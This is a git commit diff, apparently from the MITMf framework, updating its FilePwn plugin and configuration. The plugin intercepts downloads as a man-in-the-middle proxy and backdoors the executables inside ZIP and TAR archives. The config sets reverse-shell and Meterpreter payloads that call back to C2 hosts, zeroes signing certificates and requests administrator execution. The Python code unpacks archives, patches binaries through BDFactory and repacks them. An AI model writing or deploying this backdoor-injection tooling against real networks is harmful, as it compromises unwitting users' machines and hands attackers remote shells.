Updated Filepwn plugin to the latest BDFactory & BDFProxy version

This commit is contained in:
byt3bl33d3r 2015-08-12 16:30:34 +02:00
parent 1a50f000c1
commit 1a5c7c03b7
6 changed files with 542 additions and 508 deletions

View file

@ -334,7 +334,6 @@
[FilePwn] [FilePwn]
# BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something'
# #
# Author Joshua Pitts the.midnite.runr 'at' gmail <d ot > com # Author Joshua Pitts the.midnite.runr 'at' gmail <d ot > com
# #
@ -367,7 +366,6 @@
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE. # POSSIBILITY OF SUCH DAMAGE.
# #
# Tested on Kali-Linux.
[[hosts]] [[hosts]]
#whitelist host/IP - patch these only. #whitelist host/IP - patch these only.
@ -389,7 +387,8 @@
# Also applied in zip files # Also applied in zip files
blacklist = Tcpview.exe, skype.exe, .dll blacklist = .dll
[[ZIP]] [[ZIP]]
# patchCount is the max number of files to patch in a zip file # patchCount is the max number of files to patch in a zip file
@ -399,7 +398,7 @@
patchCount = 5 patchCount = 5
# In Bytes # In Bytes
maxSize = 40000000 maxSize = 50000000
blacklist = .dll, #don't do dlls in a zip file blacklist = .dll, #don't do dlls in a zip file
@ -411,7 +410,7 @@
patchCount = 5 patchCount = 5
# In Bytes # In Bytes
maxSize = 40000000 maxSize = 10000000
blacklist = , # a comma is null do not leave blank blacklist = , # a comma is null do not leave blank
@ -425,10 +424,9 @@
WindowsType = ALL # choices: x86/x64/ALL/None WindowsType = ALL # choices: x86/x64/ALL/None
FatPriority = x64 # choices: x86 or x64 FatPriority = x64 # choices: x86 or x64
FileSizeMax = 60000000 # ~60 MB (just under) No patching of files this large FileSizeMax = 10000000 # ~10 MB (just under) No patching of files this large
CompressedFiles = True #True/False CompressedFiles = True #True/False
[[[[LinuxIntelx86]]]] [[[[LinuxIntelx86]]]]
SHELL = reverse_shell_tcp # This is the BDF syntax SHELL = reverse_shell_tcp # This is the BDF syntax
HOST = 192.168.1.168 # The C2 HOST = 192.168.1.168 # The C2
@ -444,27 +442,44 @@
MSFPAYLOAD = linux/x64/shell_reverse_tcp MSFPAYLOAD = linux/x64/shell_reverse_tcp
[[[[WindowsIntelx86]]]] [[[[WindowsIntelx86]]]]
PATCH_TYPE = SINGLE #JUMP/SINGLE/APPEND PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
# PATCH_METHOD overwrites PATCH_TYPE with jump # PATCH_METHOD overwrites PATCH_TYPE, use automatic, replace, or onionduke
PATCH_METHOD = PATCH_METHOD =
HOST = 172.16.206.7 HOST = 192.168.1.16
PORT = 8444 PORT = 8090
SHELL = iat_reverse_tcp_stager_threaded # SHELL for use with automatic PATCH_METHOD
SHELL = iat_reverse_tcp_inline_threaded
# SUPPLIED_SHELLCODE for use with a user_supplied_shellcode payload
SUPPLIED_SHELLCODE = None SUPPLIED_SHELLCODE = None
ZERO_CERT = False ZERO_CERT = True
PATCH_DLL = True # PATCH_DLLs as they come across
PATCH_DLL = False
# RUNAS_ADMIN will attempt to patch requestedExecutionLevel as highestAvailable
RUNAS_ADMIN = True
# XP_MODE - to support XP targets
XP_MODE = True
# SUPPLIED_BINARY is for use with PATCH_METHOD 'onionduke' DLL/EXE can be x64 and
# with PATCH_METHOD 'replace' use an EXE not DLL
SUPPLIED_BINARY = veil_go_payload.exe
MSFPAYLOAD = windows/meterpreter/reverse_tcp MSFPAYLOAD = windows/meterpreter/reverse_tcp
[[[[WindowsIntelx64]]]] [[[[WindowsIntelx64]]]]
PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
# PATCH_METHOD overwrites PATCH_TYPE with jump # PATCH_METHOD overwrites PATCH_TYPE, use automatic or onionduke
PATCH_METHOD = PATCH_METHOD = automatic
HOST = 172.16.206.1 HOST = 192.168.1.16
PORT = 8088 PORT = 8088
# SHELL for use with automatic PATCH_METHOD
SHELL = iat_reverse_tcp_stager_threaded SHELL = iat_reverse_tcp_stager_threaded
# SUPPLIED_SHELLCODE for use with a user_supplied_shellcode payload
SUPPLIED_SHELLCODE = None SUPPLIED_SHELLCODE = None
ZERO_CERT = True ZERO_CERT = True
PATCH_DLL = False PATCH_DLL = True
# RUNAS_ADMIN will attempt to patch requestedExecutionLevel as highestAvailable
RUNAS_ADMIN = True
# SUPPLIED_BINARY is for use with PATCH_METHOD onionduke DLL/EXE can x86 32bit and
# with PATCH_METHOD 'replace' use an EXE not DLL
SUPPLIED_BINARY = pentest_x64_payload.exe
MSFPAYLOAD = windows/x64/shell/reverse_tcp MSFPAYLOAD = windows/x64/shell/reverse_tcp
[[[[MachoIntelx86]]]] [[[[MachoIntelx86]]]]
@ -486,9 +501,8 @@
[[[sysinternals.com]]] [[[sysinternals.com]]]
LinuxType = None LinuxType = None
WindowsType = x86 WindowsType = ALL
CompressedFiles = False CompressedFiles = False
#inherits WindowsIntelx32 from ALL #inherits WindowsIntelx32 from ALL
[[[[WindowsIntelx86]]]] [[[[WindowsIntelx86]]]]
PATCH_DLL = False PATCH_DLL = False

View file

@ -111,8 +111,6 @@ class ProxyPlugins:
for f in self.plugin_mthds[fname]: for f in self.plugin_mthds[fname]:
a = f(**args) a = f(**args)
if a != None: args = a if a != None: args = a
except KeyError as e:
pass
except Exception as e: except Exception as e:
#This is needed because errors in hooked functions won't raise an Exception + Traceback (which can be infuriating) #This is needed because errors in hooked functions won't raise an Exception + Traceback (which can be infuriating)
log.error("Exception occurred in hooked function") log.error("Exception occurred in hooked function")

@ -1 +1 @@
Subproject commit 7a19089bd9620e736a56ecde145206cec261cc67 Subproject commit dadf1d21bfcb9c8ebefc7891bd95b9452b2af8d5

View file

@ -61,11 +61,13 @@ import pefile
import zipfile import zipfile
import logging import logging
import shutil import shutil
import tempfile
import random import random
import string import string
import threading import threading
import multiprocessing import multiprocessing
import tarfile import tarfile
import magic
from libs.bdfactory import pebin from libs.bdfactory import pebin
from libs.bdfactory import elfbin from libs.bdfactory import elfbin
@ -90,37 +92,23 @@ class FilePwn(Plugin):
from core.msfrpc import Msf from core.msfrpc import Msf
self.msf = Msf() self.msf = Msf()
#FOR FUTURE USE self.binaryMimeType = {'mimes': ['application/octet-stream', 'application/x-msdownload',
self.binaryMimeTypes = ["application/octet-stream", 'application/x-msdownload', 'application/x-msdos-program', 'binary/octet-stream'] 'application/x-msdos-program', 'binary/octet-stream',
'application/x-executable', 'application/x-dosexec']}
#FOR FUTURE USE self.zipType = {'mimes': ['application/x-zip-compressed', 'application/zip'], 'params': {'type': 'ZIP', 'format': 'zip', 'filter': None}} # .zip
self.zipMimeTypes = ['application/x-zip-compressed', 'application/zip']
#USED NOW self.gzType = {'mimes': ['application/gzip', 'application/x-gzip', 'application/gnutar'], 'params': {'type': 'TAR', 'format': 'ustar', 'filter': 'gzip'}} # .gz
self.magicNumbers = {'elf': {'number': '7f454c46'.decode('hex'), 'offset': 0},
'pe': {'number': 'MZ', 'offset': 0},
'gz': {'number': '1f8b'.decode('hex'), 'offset': 0},
'bz': {'number': 'BZ', 'offset': 0},
'zip': {'number': '504b0304'.decode('hex'), 'offset': 0},
'tar': {'number': 'ustar', 'offset': 257},
'fatfile': {'number': 'cafebabe'.decode('hex'), 'offset': 0},
'machox64': {'number': 'cffaedfe'.decode('hex'), 'offset': 0},
'machox86': {'number': 'cefaedfe'.decode('hex'), 'offset': 0},
}
#NOT USED NOW self.tarType = {'mimes': ['application/x-tar'], 'params': {'type': 'TAR', 'format': 'gnutar', 'filter': None}} # .tar
self.supportedBins = ('MZ', '7f454c46'.decode('hex'))
self.bzType = {'mimes': ['application/x-bzip2', 'application/x-bzip'], 'params': {'type': 'TAR', 'format': 'gnutar', 'filter': 'bzip2'}} # .bz / .bz2
self.archiveTypes = [self.zipType, self.gzType, self.tarType, self.bzType]
#FilePwn options #FilePwn options
self.userConfig = self.config['FilePwn'] self.set_config()
self.hostblacklist = self.userConfig['hosts']['blacklist'] self.parse_target_config(self.user_config['targets']['ALL'])
self.hostwhitelist = self.userConfig['hosts']['whitelist']
self.keysblacklist = self.userConfig['keywords']['blacklist']
self.keyswhitelist = self.userConfig['keywords']['whitelist']
self.zipblacklist = self.userConfig['ZIP']['blacklist']
self.tarblacklist = self.userConfig['TAR']['blacklist']
self.parse_target_config(self.userConfig['targets']['ALL'])
self.tree_info.append("Connected to Metasploit v{}".format(self.msf.version)) self.tree_info.append("Connected to Metasploit v{}".format(self.msf.version))
@ -142,19 +130,209 @@ class FilePwn(Plugin):
def on_config_change(self): def on_config_change(self):
self.initialize(self.options) self.initialize(self.options)
def convert_to_Bool(self, aString): def str2bool(self, val):
if aString.lower() == 'true': if val.lower() == 'true':
return True return True
elif aString.lower() == 'false': elif val.lower() == 'false':
return False return False
elif aString.lower() == 'none': else:
return None return None
def bytes_have_format(self, bytess, formatt): def inject(self, data):
number = self.magicNumbers[formatt]
if bytess[number['offset']:number['offset'] + len(number['number'])] == number['number']: if len(data) > self.archive_max_size:
return True self.log.error("{0} over allowed size".format(self.archive_type))
return False return data
buf = None
if self.archive_type == "ZIP":
buf = self.inject_zip(data)
elif self.archive_type == "TAR":
buf = self.inject_tar(data, self.archive_params['filter'])
return buf
def inject_tar(self, aTarFileBytes, formatt=None):
# When called will unpack and edit a Tar File and return a tar file"
tmp_file = tempfile.NamedTemporaryFile()
tmp_file.write(aTarFileBytes)
tmp_file.seek(0)
compression_mode = ':'
if formatt == 'gzip':
compression_mode = ':gz'
if formatt == 'bzip2':
compression_mode = ':bz2'
try:
tar_file = tarfile.open(fileobj=tmp_file, mode='r' + compression_mode)
except tarfile.ReadError as ex:
self.log.warning(ex)
tmp_file.close()
return aTarFileBytes
self.log.info("TarFile contents and info (compression: {0}):".format(formatt))
members = tar_file.getmembers()
for info in members:
print "\t{0} {1}".format(info.name, info.size)
new_tar_storage = tempfile.NamedTemporaryFile()
new_tar_file = tarfile.open(mode='w' + compression_mode, fileobj=new_tar_storage)
patch_count = 0
was_patched = False
for info in members:
self.log.info(">>> Next file in tarfile: {0}".format(info.name))
if not info.isfile():
self.log.warning("{0} is not a file, skipping".format(info.name))
new_tar_file.addfile(info, tar_file.extractfile(info))
continue
if info.size >= long(self.FileSizeMax):
self.log.warning("{0} is too big, skipping".format(info.name))
new_tar_file.addfile(info, tar_file.extractfile(info))
continue
# Check against keywords
if self.check_keyword(info.name.lower()) is True:
self.log.info('Tar blacklist enforced on {0}'.format(info.name))
continue
# Try to patch
extracted_file = tar_file.extractfile(info)
if patch_count >= self.archive_patch_count:
self.log.info("Met archive config patchCount limit. Adding original file")
new_tar_file.addfile(info, extracted_file)
else:
# create the file on disk temporarily for fileGrinder to run on it
with tempfile.NamedTemporaryFile() as tmp:
shutil.copyfileobj(extracted_file, tmp)
tmp.flush()
patch_result = self.binaryGrinder(tmp.name)
if patch_result:
patch_count += 1
file2 = os.path.join(BDFOLDER, os.path.basename(tmp.name))
self.log.info("{0} in archive patched, adding to final archive".format(info.name))
info.size = os.stat(file2).st_size
with open(file2, 'rb') as f:
new_tar_file.addfile(info, f)
os.remove(file2)
was_patched = True
else:
self.log.info("{0} patching failed. Keeping original file.".format(info.name))
with open(tmp.name, 'rb') as f:
new_tar_file.addfile(info, f)
# finalize the writing of the tar file first
new_tar_file.close()
if was_patched is False:
# If nothing was changed return the original
self.log.info("No files were patched. Forwarding original file")
new_tar_storage.close() # it's automatically deleted
return aTarFileBytes
# then read the new tar file into memory
new_tar_storage.seek(0)
buf = new_tar_storage.read()
new_tar_storage.close() # it's automatically deleted
return buf
def inject_zip(self, aZipFile):
# When called will unpack and edit a Zip File and return a zip file
tmp_file = tempfile.NamedTemporaryFile()
tmp_file.write(aZipFile)
tmp_file.seek(0)
zippyfile = zipfile.ZipFile(tmp_file.name, 'r')
# encryption test
try:
zippyfile.testzip()
except RuntimeError as e:
if 'encrypted' in str(e):
self.log.warning("Encrypted zipfile found. Not patching.")
else:
self.log.warning("Zipfile test failed. Returning original archive")
zippyfile.close()
tmp_file.close()
return aZipFile
self.log.info("ZipFile contents and info:")
for info in zippyfile.infolist():
print "\t{0} {1}".format(info.filename, info.file_size)
tmpDir = tempfile.mkdtemp()
zippyfile.extractall(tmpDir)
patch_count = 0
was_patched = False
for info in zippyfile.infolist():
self.log.info(">>> Next file in zipfile: {0}".format(info.filename))
actual_file = os.path.join(tmpDir, info.filename)
if os.path.islink(actual_file) or not os.path.isfile(actual_file):
self.log.warning("{0} is not a file, skipping".format(info.filename))
continue
if os.lstat(actual_file).st_size >= long(self.FileSizeMax):
self.log.warning("{0} is too big, skipping".format(info.filename))
continue
# Check against keywords
if self.check_keyword(info.filename.lower()) is True:
self.log.info('Zip blacklist enforced on {0}'.format(info.filename))
continue
if patch_count >= self.archive_patch_count:
self.log.info("Met archive config patchCount limit. Adding original file")
break
else:
patch_result = self.binaryGrinder(actual_file)
if patch_result:
patch_count += 1
file2 = os.path.join(BDFOLDER, os.path.basename(info.filename))
self.log.info("Patching complete, adding to archive file.")
shutil.copyfile(file2, actual_file)
self.log.info("{0} in archive patched, adding to final archive".format(info.filename))
os.remove(file2)
was_patched = True
else:
self.log.error("{0} patching failed. Keeping original file.".format(info.filename))
zippyfile.close()
if was_patched is False:
self.log.info("No files were patched. Forwarding original file")
tmp_file.close()
shutil.rmtree(tmpDir, ignore_errors=True)
return aZipFile
zip_result = zipfile.ZipFile(tmp_file.name, 'w', zipfile.ZIP_DEFLATED)
for base, dirs, files in os.walk(tmpDir):
for afile in files:
filename = os.path.join(base, afile)
zip_result.write(filename, arcname=filename.replace(tmpDir + '/', ''))
zip_result.close()
# clean up
shutil.rmtree(tmpDir, ignore_errors=True)
with open(tmp_file.name, 'rb') as f:
zip_data = f.read()
tmp_file.close()
return zip_data
def binaryGrinder(self, binaryFile): def binaryGrinder(self, binaryFile):
""" """
@ -174,7 +352,7 @@ class FilePwn(Plugin):
magic = pe.OPTIONAL_HEADER.Magic magic = pe.OPTIONAL_HEADER.Magic
machineType = pe.FILE_HEADER.Machine machineType = pe.FILE_HEADER.Machine
#update when supporting more than one arch # update when supporting more than one arch
if (magic == int('20B', 16) and machineType == 0x8664 and if (magic == int('20B', 16) and machineType == 0x8664 and
self.WindowsType.lower() in ['all', 'x64']): self.WindowsType.lower() in ['all', 'x64']):
add_section = False add_section = False
@ -196,10 +374,12 @@ class FilePwn(Plugin):
ADD_SECTION=add_section, ADD_SECTION=add_section,
CAVE_JUMPING=cave_jumping, CAVE_JUMPING=cave_jumping,
IMAGE_TYPE=self.WindowsType, IMAGE_TYPE=self.WindowsType,
PATCH_DLL=self.convert_to_Bool(self.WindowsIntelx64['PATCH_DLL']), RUNAS_ADMIN=self.str2bool(self.WindowsIntelx86['RUNAS_ADMIN']),
PATCH_DLL=self.str2bool(self.WindowsIntelx64['PATCH_DLL']),
SUPPLIED_SHELLCODE=self.WindowsIntelx64['SUPPLIED_SHELLCODE'], SUPPLIED_SHELLCODE=self.WindowsIntelx64['SUPPLIED_SHELLCODE'],
ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx64['ZERO_CERT']), ZERO_CERT=self.str2bool(self.WindowsIntelx64['ZERO_CERT']),
PATCH_METHOD=self.WindowsIntelx64['PATCH_METHOD'].lower() PATCH_METHOD=self.WindowsIntelx64['PATCH_METHOD'].lower(),
SUPPLIED_BINARY=self.WindowsIntelx64['SUPPLIED_BINARY'],
) )
result = targetFile.run_this() result = targetFile.run_this()
@ -208,8 +388,8 @@ class FilePwn(Plugin):
self.WindowsType.lower() in ['all', 'x86']): self.WindowsType.lower() in ['all', 'x86']):
add_section = False add_section = False
cave_jumping = False cave_jumping = False
#add_section wins for cave_jumping # add_section wins for cave_jumping
#default is single for BDF # default is single for BDF
if self.WindowsIntelx86['PATCH_TYPE'].lower() == 'append': if self.WindowsIntelx86['PATCH_TYPE'].lower() == 'append':
add_section = True add_section = True
elif self.WindowsIntelx86['PATCH_TYPE'].lower() == 'jump': elif self.WindowsIntelx86['PATCH_TYPE'].lower() == 'jump':
@ -218,6 +398,7 @@ class FilePwn(Plugin):
# if automatic override # if automatic override
if self.WindowsIntelx86['PATCH_METHOD'].lower() == 'automatic': if self.WindowsIntelx86['PATCH_METHOD'].lower() == 'automatic':
cave_jumping = True cave_jumping = True
add_section = False
targetFile = pebin.pebin(FILE=binaryFile, targetFile = pebin.pebin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile), OUTPUT=os.path.basename(binaryFile),
@ -227,10 +408,13 @@ class FilePwn(Plugin):
ADD_SECTION=add_section, ADD_SECTION=add_section,
CAVE_JUMPING=cave_jumping, CAVE_JUMPING=cave_jumping,
IMAGE_TYPE=self.WindowsType, IMAGE_TYPE=self.WindowsType,
PATCH_DLL=self.convert_to_Bool(self.WindowsIntelx86['PATCH_DLL']), RUNAS_ADMIN=self.str2bool(self.WindowsIntelx86['RUNAS_ADMIN']),
PATCH_DLL=self.str2bool(self.WindowsIntelx86['PATCH_DLL']),
SUPPLIED_SHELLCODE=self.WindowsIntelx86['SUPPLIED_SHELLCODE'], SUPPLIED_SHELLCODE=self.WindowsIntelx86['SUPPLIED_SHELLCODE'],
ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx86['ZERO_CERT']), ZERO_CERT=self.str2bool(self.WindowsIntelx86['ZERO_CERT']),
PATCH_METHOD=self.WindowsIntelx86['PATCH_METHOD'].lower() PATCH_METHOD=self.WindowsIntelx86['PATCH_METHOD'].lower(),
SUPPLIED_BINARY=self.WindowsIntelx86['SUPPLIED_BINARY'],
XP_MODE=self.str2bool(self.WindowsIntelx86['XP_MODE'])
) )
result = targetFile.run_this() result = targetFile.run_this()
@ -241,7 +425,7 @@ class FilePwn(Plugin):
targetFile.support_check() targetFile.support_check()
if targetFile.class_type == 0x1: if targetFile.class_type == 0x1:
#x86CPU Type # x86CPU Type
targetFile = elfbin.elfbin(FILE=binaryFile, targetFile = elfbin.elfbin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile), OUTPUT=os.path.basename(binaryFile),
SHELL=self.LinuxIntelx86['SHELL'], SHELL=self.LinuxIntelx86['SHELL'],
@ -252,7 +436,7 @@ class FilePwn(Plugin):
) )
result = targetFile.run_this() result = targetFile.run_this()
elif targetFile.class_type == 0x2: elif targetFile.class_type == 0x2:
#x64 # x64
targetFile = elfbin.elfbin(FILE=binaryFile, targetFile = elfbin.elfbin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile), OUTPUT=os.path.basename(binaryFile),
SHELL=self.LinuxIntelx64['SHELL'], SHELL=self.LinuxIntelx64['SHELL'],
@ -267,7 +451,7 @@ class FilePwn(Plugin):
targetFile = machobin.machobin(FILE=binaryFile, SUPPORT_CHECK=False) targetFile = machobin.machobin(FILE=binaryFile, SUPPORT_CHECK=False)
targetFile.support_check() targetFile.support_check()
#ONE CHIP SET MUST HAVE PRIORITY in FAT FILE # ONE CHIP SET MUST HAVE PRIORITY in FAT FILE
if targetFile.FAT_FILE is True: if targetFile.FAT_FILE is True:
if self.FatPriority == 'x86': if self.FatPriority == 'x86':
@ -314,343 +498,180 @@ class FilePwn(Plugin):
) )
result = targetFile.run_this() result = targetFile.run_this()
self.patched.put(result) return result
return
except Exception as e: except Exception as e:
print 'Exception', str(e) self.log.error("Exception in binaryGrinder {0}".format(e))
self.log.warning("EXCEPTION IN binaryGrinder {}".format(e))
return None return None
def tar_files(self, aTarFileBytes, formatt): def set_config(self):
"When called will unpack and edit a Tar File and return a tar file"
print "[*] TarFile size:", len(aTarFileBytes) / 1024, 'KB'
if len(aTarFileBytes) > int(self.userConfig['TAR']['maxSize']):
print "[!] TarFile over allowed size"
self.log.info("TarFIle maxSize met {}".format(len(aTarFileBytes)))
self.patched.put(aTarFileBytes)
return
with tempfile.NamedTemporaryFile() as tarFileStorage:
tarFileStorage.write(aTarFileBytes)
tarFileStorage.flush()
if not tarfile.is_tarfile(tarFileStorage.name):
print '[!] Not a tar file'
self.patched.put(aTarFileBytes)
return
compressionMode = ':'
if formatt == 'gz':
compressionMode = ':gz'
if formatt == 'bz':
compressionMode = ':bz2'
tarFile = None
try: try:
tarFileStorage.seek(0) self.user_config = self.config['FilePwn']
tarFile = tarfile.open(fileobj=tarFileStorage, mode='r' + compressionMode) self.host_blacklist = self.user_config['hosts']['blacklist']
except tarfile.ReadError: self.host_whitelist = self.user_config['hosts']['whitelist']
pass self.keys_blacklist = self.user_config['keywords']['blacklist']
self.keys_whitelist = self.user_config['keywords']['whitelist']
except Exception as e:
self.log.error("Missing field from config file: {0}".format(e))
if tarFile is None: def set_config_archive(self, ar):
print '[!] Not a tar file'
self.patched.put(aTarFileBytes)
return
print '[*] Tar file contents and info:'
print '[*] Compression:', formatt
members = tarFile.getmembers()
for info in members:
print "\t", info.name, info.mtime, info.size
newTarFileStorage = tempfile.NamedTemporaryFile()
newTarFile = tarfile.open(mode='w' + compressionMode, fileobj=newTarFileStorage)
patchCount = 0
wasPatched = False
for info in members:
print "[*] >>> Next file in tarfile:", info.name
if not info.isfile():
print info.name, 'is not a file'
newTarFile.addfile(info, tarFile.extractfile(info))
continue
if info.size >= long(self.FileSizeMax):
print info.name, 'is too big'
newTarFile.addfile(info, tarFile.extractfile(info))
continue
# Check against keywords
keywordCheck = True
if type(self.tarblacklist) is str:
if self.tarblacklist.lower() in info.name.lower():
keywordCheck = True
else:
for keyword in self.tarblacklist:
if keyword.lower() in info.name.lower():
keywordCheck = True
continue
if keywordCheck is True:
print "[!] Tar blacklist enforced!"
self.log.info('Tar blacklist enforced on {}'.format(info.name))
continue
# Try to patch
extractedFile = tarFile.extractfile(info)
if patchCount >= int(self.userConfig['TAR']['patchCount']):
newTarFile.addfile(info, extractedFile)
else:
# create the file on disk temporarily for fileGrinder to run on it
with tempfile.NamedTemporaryFile() as tmp:
shutil.copyfileobj(extractedFile, tmp)
tmp.flush()
patchResult = self.binaryGrinder(tmp.name)
if patchResult:
patchCount += 1
file2 = "backdoored/" + os.path.basename(tmp.name)
print "[*] Patching complete, adding to tar file."
info.size = os.stat(file2).st_size
with open(file2, 'rb') as f:
newTarFile.addfile(info, f)
self.log.info("{} in tar patched, adding to tarfile".format(info.name))
os.remove(file2)
wasPatched = True
else:
print "[!] Patching failed"
with open(tmp.name, 'rb') as f:
newTarFile.addfile(info, f)
self.log.info("{} patching failed. Keeping original file in tar.".format(info.name))
if patchCount == int(self.userConfig['TAR']['patchCount']):
self.log.info("Met Tar config patchCount limit.")
# finalize the writing of the tar file first
newTarFile.close()
# then read the new tar file into memory
newTarFileStorage.seek(0)
ret = newTarFileStorage.read()
newTarFileStorage.close() # it's automatically deleted
if wasPatched is False:
# If nothing was changed return the original
print "[*] No files were patched forwarding original file"
self.patched.put(aTarFileBytes)
return
else:
self.patched.put(ret)
return
def zip_files(self, aZipFile):
"When called will unpack and edit a Zip File and return a zip file"
print "[*] ZipFile size:", len(aZipFile) / 1024, 'KB'
if len(aZipFile) > int(self.userConfig['ZIP']['maxSize']):
print "[!] ZipFile over allowed size"
self.log.info("ZipFIle maxSize met {}".format(len(aZipFile)))
self.patched.put(aZipFile)
return
tmpRan = ''.join(random.choice(string.ascii_lowercase + string.digits + string.ascii_uppercase) for _ in range(8))
tmpDir = '/tmp/' + tmpRan
tmpFile = '/tmp/' + tmpRan + '.zip'
os.mkdir(tmpDir)
with open(tmpFile, 'w') as f:
f.write(aZipFile)
zippyfile = zipfile.ZipFile(tmpFile, 'r')
#encryption test
try: try:
zippyfile.testzip() self.archive_type = ar['type']
self.archive_blacklist = self.user_config[self.archive_type]['blacklist']
self.archive_max_size = int(self.user_config[self.archive_type]['maxSize'])
self.archive_patch_count = int(self.user_config[self.archive_type]['patchCount'])
self.archive_params = ar
except Exception as e:
raise Exception("Missing {0} section from config file".format(e))
except RuntimeError as e: def hosts_whitelist_check(self, req_host):
if 'encrypted' in str(e): if self.host_whitelist.lower() == 'all':
self.log.info('Encrypted zipfile found. Not patching.') self.patchIT = True
self.patched.put(aZipFile)
return
print "[*] ZipFile contents and info:"
for info in zippyfile.infolist():
print "\t", info.filename, info.date_time, info.file_size
zippyfile.extractall(tmpDir)
patchCount = 0
wasPatched = False
for info in zippyfile.infolist():
print "[*] >>> Next file in zipfile:", info.filename
if os.path.isdir(tmpDir + '/' + info.filename) is True:
print info.filename, 'is a directory'
continue
#Check against keywords
keywordCheck = True
if type(self.zipblacklist) is str:
if self.zipblacklist.lower() in info.filename.lower():
keywordCheck = True
elif type(self.host_whitelist) is str:
if self.host_whitelist.lower() in req_host.lower():
self.patchIT = True
self.log.info("Host whitelist hit: {0}, HOST: {1}".format(self.host_whitelist, req_host))
elif req_host.lower() in self.host_whitelist.lower():
self.patchIT = True
self.log.info("Host whitelist hit: {0}, HOST: {1} ".format(self.host_whitelist, req_host))
else: else:
for keyword in self.zipblacklist: for keyword in self.host_whitelist:
if keyword.lower() in info.filename.lower(): if keyword.lower() in req_host.lower():
keywordCheck = True self.patchIT = True
continue self.log.info("Host whitelist hit: {0}, HOST: {1} ".format(self.host_whitelist, req_host))
if keywordCheck is True:
print "[!] Zip blacklist enforced!"
self.log.info('Zip blacklist enforced on {}'.format(info.filename))
continue
patchResult = self.binaryGrinder(tmpDir + '/' + info.filename)
if patchResult:
patchCount += 1
file2 = "backdoored/" + os.path.basename(info.filename)
print "[*] Patching complete, adding to zip file."
shutil.copyfile(file2, tmpDir + '/' + info.filename)
self.log.info("{} in zip patched, adding to zipfile".format(info.filename))
os.remove(file2)
wasPatched = True
else:
print "[!] Patching failed"
self.log.info("{} patching failed. Keeping original file in zip.".format(info.filename))
print '-' * 10
if patchCount >= int(self.userConfig['ZIP']['patchCount']): # Make this a setting.
self.log.info("Met Zip config patchCount limit.")
break break
zippyfile.close() def keys_whitelist_check(self, req_url, req_host):
# Host whitelist check takes precedence
if self.patchIT is False:
return None
zipResult = zipfile.ZipFile(tmpFile, 'w', zipfile.ZIP_DEFLATED) if self.keys_whitelist.lower() == 'all':
self.patchIT = True
print "[*] Writing to zipfile:", tmpFile elif type(self.keys_whitelist) is str:
if self.keys_whitelist.lower() in req_url.lower():
for base, dirs, files in os.walk(tmpDir): self.patchIT = True
for afile in files: self.log.info("Keyword whitelist hit: {0}, PATH: {1}".format(self.keys_whitelist, req_url))
filename = os.path.join(base, afile) elif req_host.lower() in [x.lower() for x in self.keys_whitelist]:
print '[*] Writing filename to zipfile:', filename.replace(tmpDir + '/', '') self.patchIT = True
zipResult.write(filename, arcname=filename.replace(tmpDir + '/', '')) self.log.info("Keyword whitelist hit: {0}, PATH: {1}".format(self.keys_whitelist, req_url))
zipResult.close()
#clean up
shutil.rmtree(tmpDir)
with open(tmpFile, 'rb') as f:
tempZipFile = f.read()
os.remove(tmpFile)
if wasPatched is False:
print "[*] No files were patched forwarding original file"
self.patched.put(aZipFile)
return
else: else:
self.patched.put(tempZipFile) for keyword in self.keys_whitelist:
return if keyword.lower() in req_url.lower():
self.patchIT = True
self.log.info("Keyword whitelist hit: {0}, PATH: {1}".format(self.keys_whitelist, req_url))
break
def keys_backlist_check(self, req_url, req_host):
if type(self.keys_blacklist) is str:
if self.keys_blacklist.lower() in req_url.lower():
self.patchIT = False
self.log.info("Keyword blacklist hit: {0}, PATH: {1}".format(self.keys_blacklist, req_url))
else:
for keyword in self.keys_blacklist:
if keyword.lower() in req_url.lower():
self.patchIT = False
self.log.info("Keyword blacklist hit: {0}, PATH: {1}".format(self.keys_blacklist, req_url))
break
def hosts_blacklist_check(self, req_host):
if type(self.host_blacklist) is str:
if self.host_blacklist.lower() in req_host.lower():
self.patchIT = False
self.log.info("Host Blacklist hit: {0} : HOST: {1} ".format(self.host_blacklist, req_host))
elif req_host.lower() in [x.lower() for x in self.host_blacklist]:
self.patchIT = False
self.log.info("Host Blacklist hit: {0} : HOST: {1} ".format(self.host_blacklist, req_host))
else:
for host in self.host_blacklist:
if host.lower() in req_host.lower():
self.patchIT = False
self.log.info("Host Blacklist hit: {0} : HOST: {1} ".format(self.host_blacklist, req_host))
break
def parse_target_config(self, targetConfig): def parse_target_config(self, targetConfig):
for key, value in targetConfig.iteritems(): for key, value in targetConfig.items():
if hasattr(self, key) is False: if hasattr(self, key) is False:
setattr(self, key, value) setattr(self, key, value)
self.log.debug("Settings Config {}: {}".format(key, value)) self.log.debug("Settings Config {0}: {1}".format(key, value))
elif getattr(self, key, value) != value: elif getattr(self, key, value) != value:
if value == "None": if value == "None":
continue continue
#test if string can be easily converted to dict # test if string can be easily converted to dict
if ':' in str(value): if ':' in str(value):
for tmpkey, tmpvalue in dict(value).iteritems(): for tmpkey, tmpvalue in dict(value).items():
getattr(self, key, value)[tmpkey] = tmpvalue getattr(self, key, value)[tmpkey] = tmpvalue
self.log.debug("Updating Config {}: {}".format(tmpkey, tmpvalue)) self.log.debug("Updating Config {0}: {1}".format(tmpkey, tmpvalue))
else: else:
setattr(self, key, value) setattr(self, key, value)
self.log.debug("Updating Config {}: {}".format(key, value)) self.log.debug("Updating Config {0}: {1}".format(key, value))
def response(self, response, request, data): def response(self, response, request, data):
content_header = response.headers['Content-Type'] content_header = response.headers['content-type']
content_length = int(response.headers['Content-Length'])
client_ip = request.client.getClientIP() client_ip = request.client.getClientIP()
host = request.headers['host']
for target in self.userConfig['targets'].keys(): try:
content_length = int(response.headers['content-length'])
except KeyError:
content_length = None
for target in self.user_config['targets'].keys():
if target == 'ALL': if target == 'ALL':
self.parse_target_config(self.userConfig['targets']['ALL']) self.parse_target_config(self.user_config['targets']['ALL'])
